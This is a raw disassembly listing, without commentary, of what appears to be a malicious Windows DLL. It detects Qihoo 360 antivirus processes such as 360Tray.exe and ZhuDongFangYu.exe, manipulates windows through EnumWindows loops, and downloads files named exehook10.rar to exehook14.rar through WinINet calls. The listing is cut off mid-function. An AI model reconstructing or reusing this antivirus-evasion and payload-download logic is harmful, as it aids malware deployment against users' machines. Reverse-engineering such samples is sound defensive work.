cmp rdx, rsi
jb 0x180007a06
mov rcx, qword [rbp + 0x410]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180007a01
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180007a01
call fcn.180016ee8
int3
call fcn.18000df00
test dil, dil
jne 0x180007ecf
mov rcx, qword [rbp + 0xce0]
lea rdi, [rbp + 0xce0]
mov rdx, qword [rbp + 0xcf8]
mov r14d, r13d
mov r8, qword [rbp + 0xcf0]
cmp rdx, rsi
lea rsi, [rbp + 0xce0]
cmovae rsi, rcx
cmovae rdi, rcx
add rsi, r8
cmp rdi, rsi
je 0x180007a74
movsx ecx, byte [rdi]
call fcn.180015740
test eax, eax
je 0x180007a57
add r14d, r15d
add rdi, r15
cmp rdi, rsi
jne 0x180007a48
mov rdx, qword [rbp + 0xcf8]
mov r8, qword [rbp + 0xcf0]
mov rcx, qword [rbp + 0xce0]
cmp rdx, 0x10
lea rsi, [rbp + 0xce0]
lea rdi, [rbp + 0xce0]
mov r15d, r13d
cmovae rsi, rcx
cmovae rdi, rcx
add rsi, r8
cmp rdi, rsi
je 0x180007ab7
movsx ecx, byte [rdi]
call fcn.180015690
test eax, eax
je 0x180007aa8
inc r15d
inc rdi
cmp rdi, rsi
jne 0x180007a99
mov r8, qword [rbp + 0xcf0]
add r8, 0xfffffffffffffffe
lea rdx, [rbp + 0x430]
or r9, 0xffffffffffffffff
lea rcx, [rbp + 0xce0]
bts ebx, 0x11
call fcn.18000ad18
lea rcx, [0x18003b910]
mov rdi, rax
call fcn.180015ff0
mov esi, 0x10
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x180007af6
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007b13
lea rdx, [0x18003b910]
call fcn.1800105f0
test eax, eax
je 0x180007cd2
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x30]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0xce0]
or r9, 0xffffffffffffffff
bts ebx, 0x12
call fcn.18000ad18
lea rcx, [0x18003b914]
mov rdi, rax
call fcn.180015ff0
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x180007b51
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007b6e
lea rdx, [0x18003b914]
call fcn.1800105f0
test eax, eax
je 0x180007cd2
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x10]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0xce0]
or r9, 0xffffffffffffffff
bts ebx, 0x13
call fcn.18000ad18
lea rcx, [0x18003b918]
mov rdi, rax
call fcn.180015ff0
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x180007bac
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007bc9
lea rdx, [0x18003b918]
call fcn.1800105f0
test eax, eax
je 0x180007cd2
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp - 0x10]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0xce0]
or r9, 0xffffffffffffffff
bts ebx, 0x14
call fcn.18000ad18
lea rcx, [0x18003b91c]
mov rdi, rax
call fcn.180015ff0
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x180007c07
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007c24
lea rdx, [0x18003b91c]
call fcn.1800105f0
test eax, eax
je 0x180007cd2
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp - 0x30]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0xce0]
or r9, 0xffffffffffffffff
bts ebx, 0x15
call fcn.18000ad18
lea rcx, [0x18003b920]
mov rdi, rax
call fcn.180015ff0
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x180007c62
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007c7b
lea rdx, [0x18003b920]
call fcn.1800105f0
test eax, eax
je 0x180007cd2
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp - 0x50]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0xce0]
or r9, 0xffffffffffffffff
bts ebx, 0x16
call fcn.18000ad18
lea rcx, [0x18003b924]
mov rdi, rax
call fcn.180015ff0
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x180007cb9
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007cd7
lea rdx, [0x18003b924]
call fcn.1800105f0
test eax, eax
jne 0x180007cd7
mov dil, 1
jmp 0x180007cda
mov dil, r13b
bt ebx, 0x16
jae 0x180007d2e
mov rdx, qword [rbp - 0x38]
btr ebx, 0x16
cmp rdx, rsi
jb 0x180007d1e
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007d19
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007eb5
call fcn.18000df00
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], r13b
bt ebx, 0x15
jae 0x180007d82
mov rdx, qword [rbp - 0x18]
btr ebx, 0x15
cmp rdx, rsi
jb 0x180007d72
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007d6d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007eb5
call fcn.18000df00
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], r13b
bt ebx, 0x14
jae 0x180007dd6
mov rdx, qword [rbp + 8]
btr ebx, 0x14
cmp rdx, rsi
jb 0x180007dc6
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007dc1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007eb5
call fcn.18000df00
mov qword [rbp], r13
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], r13b
bt ebx, 0x13
jae 0x180007e2a
mov rdx, qword [rbp + 0x28]
btr ebx, 0x13
cmp rdx, rsi
jb 0x180007e1a
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007e15
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007eb5
call fcn.18000df00
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], r13b
bt ebx, 0x12
jae 0x180007e7a
mov rdx, qword [rbp + 0x48]
btr ebx, 0x12
cmp rdx, rsi
jb 0x180007e6a
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007e65
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007eb5
call fcn.18000df00
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], r13b
mov rdx, qword [rbp + 0x448]
btr ebx, 0x11
cmp rdx, rsi
jb 0x180007ec0
mov rcx, qword [rbp + 0x430]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007ebb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180007ebb
call fcn.180016ee8
int3
call fcn.18000df00
test dil, dil
je 0x180007ed7
cmp r14d, 2
jle 0x180008567
xor ecx, ecx
call fcn.180014800
int3
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x450]
bts ebx, 0x17
lea rcx, [rbp + 0xce0]
dec r8
or r9, 0xffffffffffffffff
call fcn.18000ad18
lea rcx, [0x18003b8e4]
mov rdi, rax
call fcn.180015ff0
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x180007f17
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007f34
lea rdx, [0x18003b8e4]
call fcn.1800105f0
test eax, eax
je 0x180008213
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x150]
bts ebx, 0x18
lea rcx, [rbp + 0xce0]
dec r8
or r9, 0xffffffffffffffff
call fcn.18000ad18
lea rcx, [0x18003b8e8]
mov rdi, rax
call fcn.180015ff0
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x180007f74
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007f91
lea rdx, [0x18003b8e8]
call fcn.1800105f0
test eax, eax
je 0x180008213
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x130]
bts ebx, 0x19
lea rcx, [rbp + 0xce0]
dec r8
or r9, 0xffffffffffffffff
call fcn.18000ad18
lea rcx, [0x18003b8ec]
mov rdi, rax
call fcn.180015ff0
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x180007fd1
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007fee
lea rdx, [0x18003b8ec]
call fcn.1800105f0
test eax, eax
je 0x180008213
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x110]
bts ebx, 0x1a
lea rcx, [rbp + 0xce0]
dec r8
or r9, 0xffffffffffffffff
call fcn.18000ad18
lea rcx, [0x18003b8f0]
mov rdi, rax
call fcn.180015ff0
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x18000802e
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x18000804b
lea rdx, [0x18003b8f0]
call fcn.1800105f0
test eax, eax
je 0x180008213
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0xf0]
bts ebx, 0x1b
lea rcx, [rbp + 0xce0]
dec r8
or r9, 0xffffffffffffffff
call fcn.18000ad18
lea rcx, [0x18003b8f4]
mov rdi, rax
call fcn.180015ff0
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x18000808b
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x1800080a8
lea rdx, [0x18003b8f4]
call fcn.1800105f0
test eax, eax
je 0x180008213
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0xd0]
bts ebx, 0x1c
lea rcx, [rbp + 0xce0]
dec r8
or r9, 0xffffffffffffffff
call fcn.18000ad18
lea rcx, [0x18003b8f8]
mov rdi, rax
call fcn.180015ff0
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x1800080e8
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180008105
lea rdx, [0x18003b8f8]
call fcn.1800105f0
test eax, eax
je 0x180008213
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0xb0]
bts ebx, 0x1d
lea rcx, [rbp + 0xce0]
dec r8
or r9, 0xffffffffffffffff
call fcn.18000ad18
lea rcx, [0x18003b8fc]
mov rdi, rax
call fcn.180015ff0
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x180008145
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180008162
lea rdx, [0x18003b8fc]
call fcn.1800105f0
test eax, eax
je 0x180008213
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x90]
bts ebx, 0x1e
lea rcx, [rbp + 0xce0]
dec r8
or r9, 0xffffffffffffffff
call fcn.18000ad18
lea rcx, [0x18003b900]
mov rdi, rax
call fcn.180015ff0
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x1800081a2
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x1800081bb
lea rdx, [0x18003b900]
call fcn.1800105f0
test eax, eax
je 0x180008213
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x50]
or ebx, 0x80000000
lea rcx, [rbp + 0xce0]
dec r8
or r9, 0xffffffffffffffff
call fcn.18000ad18
lea rcx, [0x18003b904]
mov rdi, rax
call fcn.180015ff0
mov rcx, rdi
cmp qword [rdi + 0x18], rsi
jb 0x1800081fa
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180008218
lea rdx, [0x18003b904]
call fcn.1800105f0
test eax, eax
jne 0x180008218
mov dil, 1
jmp 0x18000821b
mov dil, r13b
test ebx, ebx
jns 0x18000826d
mov rdx, qword [rbp + 0x68]
btr ebx, 0x1f
cmp rdx, rsi
jb 0x18000825d
mov rcx, qword [rbp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008258
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000854d
call fcn.18000df00
mov qword [rbp + 0x60], r13
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], r13b
bt ebx, 0x1e
jae 0x1800082d0
mov rdx, qword [rbp + 0xa8]
btr ebx, 0x1e
cmp rdx, rsi
jb 0x1800082b7
mov rcx, qword [rbp + 0x90]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800082b2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000854d
call fcn.18000df00
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], r13b
bt ebx, 0x1d
jae 0x180008333
mov rdx, qword [rbp + 0xc8]
btr ebx, 0x1d
cmp rdx, rsi
jb 0x18000831a
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008315
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000854d
call fcn.18000df00
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], r13b
bt ebx, 0x1c
jae 0x180008396
mov rdx, qword [rbp + 0xe8]
btr ebx, 0x1c
cmp rdx, rsi
jb 0x18000837d
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008378
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000854d
call fcn.18000df00
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], r13b
bt ebx, 0x1b
jae 0x1800083f9
mov rdx, qword [rbp + 0x108]
btr ebx, 0x1b
cmp rdx, rsi
jb 0x1800083e0
mov rcx, qword [rbp + 0xf0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800083db
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000854d
call fcn.18000df00
mov qword [rbp + 0x100], r13
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], r13b
bt ebx, 0x1a
jae 0x18000845c
mov rdx, qword [rbp + 0x128]
btr ebx, 0x1a
cmp rdx, rsi
jb 0x180008443
mov rcx, qword [rbp + 0x110]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000843e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000854d
call fcn.18000df00
mov qword [rbp + 0x120], r13
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], r13b
bt ebx, 0x19
jae 0x1800084bb
mov rdx, qword [rbp + 0x148]
cmp rdx, rsi
jb 0x1800084a2
mov rcx, qword [rbp + 0x130]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000849d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000854d
call fcn.18000df00
mov qword [rbp + 0x140], r13
mov qword [rbp + 0x148], 0xf
mov byte [rbp + 0x130], r13b
bt ebx, 0x18
jae 0x180008516
mov rdx, qword [rbp + 0x168]
cmp rdx, rsi
jb 0x1800084fd
mov rcx, qword [rbp + 0x150]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800084f8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000854d
call fcn.18000df00
mov qword [rbp + 0x160], r13
mov qword [rbp + 0x168], 0xf
mov byte [rbp + 0x150], r13b
mov rdx, qword [rbp + 0x468]
cmp rdx, rsi
jb 0x180008558
mov rcx, qword [rbp + 0x450]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008553
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180008553
call fcn.180016ee8
int3
call fcn.18000df00
test dil, dil
je 0x180008567
cmp r14d, 1
jg 0x180007ecf
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x470]
or rdi, 0xffffffffffffffff
lea rcx, [rbp + 0xce0]
dec r8
mov r9, rdi
call fcn.18000ad18
lea rcx, [0x18003b908]
mov rbx, rax
call fcn.180015ff0
mov rcx, rbx
cmp qword [rbx + 0x18], rsi
jb 0x1800085a6
mov rcx, qword [rbx]
mov r8, qword [rbx + 0x10]
cmp r8, rax
jne 0x1800085c4
lea rdx, [0x18003b908]
call fcn.1800105f0
test eax, eax
jne 0x1800085c4
mov eax, r13d
jmp 0x18000861d
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x290]
dec r8
lea rcx, [rbp + 0xce0]
mov r9, rdi
call fcn.18000ad18
lea rcx, [0x18003b90c]
mov rbx, rax
call fcn.180015ff0
mov rcx, rbx
cmp qword [rbx + 0x18], rsi
jb 0x1800085ff
mov rcx, qword [rbx]
mov r8, qword [rbx + 0x10]
cmp r8, rax
jne 0x18000862c
lea rdx, [0x18003b90c]
call fcn.1800105f0
test eax, eax
jne 0x18000862c
mov eax, 2
mov r14d, 1
mov bl, r14b
test eax, eax
je 0x18000868a
jmp 0x180008635
mov bl, r13b
mov r14d, 1
mov rdx, qword [rbp + 0x2a8]
cmp rdx, rsi
jb 0x180008671
mov rcx, qword [rbp + 0x290]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000866c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800086c1
call fcn.18000df00
mov qword [rbp + 0x2a0], r13
mov qword [rbp + 0x2a8], 0xf
mov byte [rbp + 0x290], r13b
mov rdx, qword [rbp + 0x488]
cmp rdx, rsi
jb 0x1800086cc
mov rcx, qword [rbp + 0x470]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800086c7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800086c7
call fcn.180016ee8
int3
call fcn.18000df00
test bl, bl
je 0x1800086d9
cmp r15d, r14d
jg 0x180007ecf
lea rdx, [0x18003b928]
mov rdi, r13
lea rcx, [rbp + 0xd10]
call fcn.18000af8c
lea rcx, str.360Tray.exe
call fcn.18000528c
lea r15, [0x18003b9d8]
test eax, eax
jle 0x180008931
lea rdx, str.360Tray.exe
lea rcx, [rbp + 0x6d0]
call fcn.180006424
mov rdx, rax
lea rcx, [0x180041d18]
call fcn.18000af6c
lea rcx, [rbp + 0x6d0]
call fcn.18000af10
lea rdx, str.360Safe.exe
lea rcx, [rbp + 0x570]
call fcn.180006424
lea rsi, [0x180041cb8]
mov rdx, rax
mov rcx, rsi
call fcn.18000af6c
lea rcx, [rbp + 0x570]
call fcn.18000af10
lea rdx, str.ZhuDongFangYu.exe
lea rcx, [rbp + 0x6b0]
call fcn.180006424
mov rdx, rax
lea rcx, [0x180041d38]
call fcn.18000af6c
lea rcx, [rbp + 0x6b0]
call fcn.18000af10
lea rdx, str.safesvr.exe
lea rcx, [rbp + 0x690]
call fcn.180006424
mov rdx, rax
lea rcx, [0x180041cf8]
call fcn.18000af6c
lea rcx, [rbp + 0x690]
call fcn.18000af10
lea rdx, str.C:WindowsSystem32mmc.exe
lea rcx, [rbp + 0xaf0]
call fcn.18000af8c
mov rcx, rax
call fcn.180006100
call fcn.18000501c
lea rcx, [rbp + 0x670]
call fcn.18000533c
mov rdx, rax
lea rcx, [0x180041cd8]
call fcn.18000af6c
lea rcx, [rbp + 0x670]
call fcn.18000af10
lea r8, str._newwps.exe
lea rdx, [0x180041cd8]
lea rcx, [rbp + 0xad0]
call fcn.18000bee8
lea rdx, [0x18003b9d4]
mov rbx, rax
lea rcx, [rbp + 0xb10]
call fcn.18000af8c
mov rcx, rax
mov r8, rbx
mov edx, 0x76
call fcn.180004d20
jmp 0x180008868
xor edx, edx
lea rcx, [0x1800057dc]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1800439b9], r13b
je 0x18000884e
mov ebx, r13d
jmp 0x18000889b
add ebx, r14d
cmp ebx, 0x14
jl 0x180008890
xor edx, edx
lea rcx, [0x1800057dc]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ebx, r13d
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, r15
call fcn.18000528c
test eax, eax
je 0x180008876
mov ebx, r13d
cmp byte [0x1800439b8], r13b
je 0x1800088b8
cmp ebx, 0x1e
jg 0x1800088e9
add ebx, r14d
call fcn.1800051e4
cmp eax, r14d
jle 0x1800088cd
mov rcx, r15
call fcn.180005f08
xor edx, edx
lea rcx, [0x180005a14]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800088aa
lea rdx, [0x180041d18]
lea rcx, [rbp + 0xb30]
call fcn.18000afb4
mov rcx, rax
call fcn.180006214
lea rdx, [0x18003b54b]
mov rcx, rsi
call fcn.18000bfb4
test al, al
je 0x18000892e
mov rdx, rsi
lea rcx, [rbp + 0xb50]
call fcn.18000afb4
mov rcx, rax
call fcn.180006214
mov r12b, r14b
lea r8, [rbp + 0xd58]
lea rdx, [rbp + 0xd30]
lea rcx, [rbp + 0x650]
call fcn.18000be18
mov rcx, rax
call fcn.18000ada0
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rbp + 0x650]
call fcn.18000af10
lea r8, [rbp + 0xd58]
lea rdx, [rbp + 0xd30]
lea rcx, [rbp + 0x630]
call fcn.18000be18
mov rdx, rax
lea r8, [rbp + 0xd78]
lea rcx, [rbp + 0xb70]
call fcn.18000bdac
lea rdx, [0x18003b9d4]
mov rbx, rax
lea rcx, [rbp + 0xb90]
call fcn.18000af8c
mov rcx, rax
mov r8, rbx
mov edx, 0x71
call fcn.180004d20
lea rcx, [rbp + 0x630]
call fcn.18000af10
lea r8, [rbp + 0xd58]
lea rdx, [rbp + 0xd30]
test r12b, r12b
je 0x180008a30
lea rcx, [rbp + 0x610]
call fcn.18000be18
mov rdx, rax
lea r8, [0x18003b9f0]
lea rcx, [rbp + 0xbb0]
call fcn.18000be78
lea rdx, [0x18003ba00]
mov rbx, rax
lea rcx, [rbp + 0xbd0]
call fcn.18000af8c
mov rcx, rax
mov r8, rbx
mov edx, 0x77
call fcn.180004d20
lea rcx, [rbp + 0x610]
jmp 0x180008a7f
lea rcx, [rbp + 0x5f0]
call fcn.18000be18
mov rdx, rax
lea r8, [0x18003b9f0]
lea rcx, [rbp + 0xbf0]
call fcn.18000be78
lea rdx, [0x18003ba00]
mov rbx, rax
lea rcx, [rbp + 0xc10]
call fcn.18000af8c
mov rcx, rax
mov r8, rbx
mov edx, 0x72
call fcn.180004d20
lea rcx, [rbp + 0x5f0]
call fcn.18000af10
lea r8, [rbp + 0xd58]
lea rdx, [rbp + 0xd30]
lea rcx, [rbp + 0x5d0]
call fcn.18000be18
mov rdx, rax
lea r8, [0x18003ba08]
lea rcx, [rbp + 0xc30]
call fcn.18000be78
lea rdx, [0x18003ba00]
mov rbx, rax
lea rcx, [rbp + 0xc50]
call fcn.18000af8c
mov rcx, rax
mov r8, rbx
mov edx, 0x74
call fcn.180004d20
lea rcx, [rbp + 0x5d0]
call fcn.18000af10
lea rcx, [rbp + 0xce0]
call fcn.18000ad98
or rsi, 0xffffffffffffffff
lea rdx, [rbp + 0x5b0]
mov r9, rsi
lea rcx, [rbp + 0xce0]
lea r8, [rax - 2]
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b910]
call fcn.18000bf68
lea rcx, [rbp + 0x5b0]
mov bl, al
call fcn.18000af10
test bl, bl
je 0x180008b9c
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook10.rar
mov rbx, rax
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x590]
call fcn.18000bee8
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x590]
jmp 0x1800096cd
lea rcx, [rbp + 0xce0]
call fcn.18000ad98
mov r9, rsi
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0xce0]
lea r8, [rax - 2]
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b914]
call fcn.18000bf68
lea rcx, [rbp + 0x550]
mov bl, al
call fcn.18000af10
test bl, bl
je 0x180008c4e
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook11.rar
mov rbx, rax
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x530]
call fcn.18000bee8
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x530]
jmp 0x1800096cd
lea rcx, [rbp + 0xce0]
call fcn.18000ad98
mov r9, rsi
lea rdx, [rbp + 0x510]
lea rcx, [rbp + 0xce0]
lea r8, [rax - 2]
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b918]
call fcn.18000bf68
lea rcx, [rbp + 0x510]
mov bl, al
call fcn.18000af10
test bl, bl
je 0x180008d00
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook12.rar
mov rbx, rax
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x4f0]
call fcn.18000bee8
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x4f0]
jmp 0x1800096cd
lea rcx, [rbp + 0xce0]
call fcn.18000ad98
mov r9, rsi
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0xce0]
lea r8, [rax - 2]
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b91c]
call fcn.18000bf68
lea rcx, [rbp + 0x4d0]
mov bl, al
call fcn.18000af10
test bl, bl
je 0x180008db2
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook13.rar
mov rbx, rax
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x4b0]
call fcn.18000bee8
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x4b0]
jmp 0x1800096cd
lea rcx, [rbp + 0xce0]
call fcn.18000ad98
mov r9, rsi
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0xce0]
lea r8, [rax - 2]
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b920]
call fcn.18000bf68
lea rcx, [rbp + 0x490]
mov bl, al
call fcn.18000af10
test bl, bl
je 0x180008e64
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook14.rar
mov rbx, rax
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x6f0]
call fcn.18000bee8
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
mov qword [rsp + 0x28], r13
xor r9d, r9d
